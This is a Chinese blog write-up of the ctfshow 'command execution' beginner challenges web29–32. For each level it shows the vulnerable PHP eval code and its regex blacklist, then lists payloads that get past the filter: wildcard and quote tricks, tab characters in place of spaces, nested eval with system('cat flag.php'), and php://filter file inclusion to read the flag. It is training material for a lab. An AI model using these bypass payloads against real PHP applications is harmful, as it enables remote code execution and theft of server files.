当前位置: 首页 > news >正文

ctfshow web入门 命令执行

ctfshow web29

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

好一个命令执行,过滤了flag字符。那就使用通配符绕过即可

?c=system('cat f*');//glob1(记得右键查看源码)(shell通配符*)
?c=system('cat f?ag.php');//glob2(记得右键查看源码)(shell通配符*	)
?c=system('cat f\lag.php');//转义字符实现绕过(记得右键查看源码)
?c=system("cat f''lag.php");(记得右键查看源码)( '' 会被 Shell 视为 空字符串)
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php//直接将题目变成文件包含漏洞
?c=eval($_GET[1]);&1=system('cat flag.php'); //马中马嵌套过滤(记得右键查看源码)
?c=highlight_file(next(array_reverse(scandir("."))));
```plain  #ctfshow web30  <?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag,system,php

?c=passthru('tac f*');

?c=passthru("tac fl''ag.ph''p");

?c=echo tac f*;

?c=echo tac fla''g.ph''p;

?c=cp fla?.p?p 1.txt;#然后访问1.txt

ctfshow web31

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

可以看到过滤了flagsystemphpcatsortshell. \,说实话这个空格被过滤不仔细看还真看不出来

那么就可以尝试以下paload

/?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php;

/?c=eval($_GET[1]);&1=system('cat flag.php');

/?c=passthru("tac%09f*");

/?c=echotac%09f*;

?c=cp%09fl*%091;

ctfshow web32

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,., ',```,echo,;,(

//特地说明,;可以用?>绕过

大部分基本都过滤了,这里可以考虑使用文件包含绕过

方案一

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

方案二

/?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

http://www.hskmm.com/?act=detail&tid=9996

相关文章:

  • 解题记录说是 | P3695 CYaRon!语
  • 分享一个极度精简的绿色的 五笔输入法
  • 实用指南:AI推理范式:从CoT到ReAct再到ToT的进化之路
  • sign up - Gon
  • ctfshow web入门 信息搜集
  • 完整教程:数据结构:单链表的应用(力扣算法题)第二章
  • CF2039E Shohag Loves Inversions
  • U522155 板垣 カノエ is WATCHING YOU std
  • ctfshow web
  • 代码随想录算法训练营第三天 | leetcode 203 707 206
  • Codeforces Round 1051 (Div. 2) A~D2
  • 【F#学习】数组:Array
  • CTFWEB姿势总结
  • 规模化加速AI:从用户、开发者到企业的深度策略解析
  • ctfshow 菜狗杯
  • 国际服务器(VPS):泰国、印尼、菲律宾、马来西亚、香港、台湾、新加坡、日本、美国、英国等。
  • 缓存常见问题
  • ctfshow 电子取证
  • Hello,World!
  • 最新IDEA 2025 专业版破解永久破解教程(附资源)intellij IDEA
  • AtCoder ABC423F - Loud Cicada 题解 容斥原理
  • 1756:八皇后
  • 矩阵置零-leetcode
  • 嘉立创常用快捷键
  • 02020402 EF Core基础02-EF Core数据的增删改查
  • conda 无法安装依赖 CondaHTTPError: HTTP 000 CONNECTION FAILED for url: tsinghua tencentaliyun
  • 牛客刷题-Day2
  • 图解支付系统账务系统核心设计 - 智慧园区
  • vulnhub(持续更新)
  • 小爱同学连接电脑进行交互 教程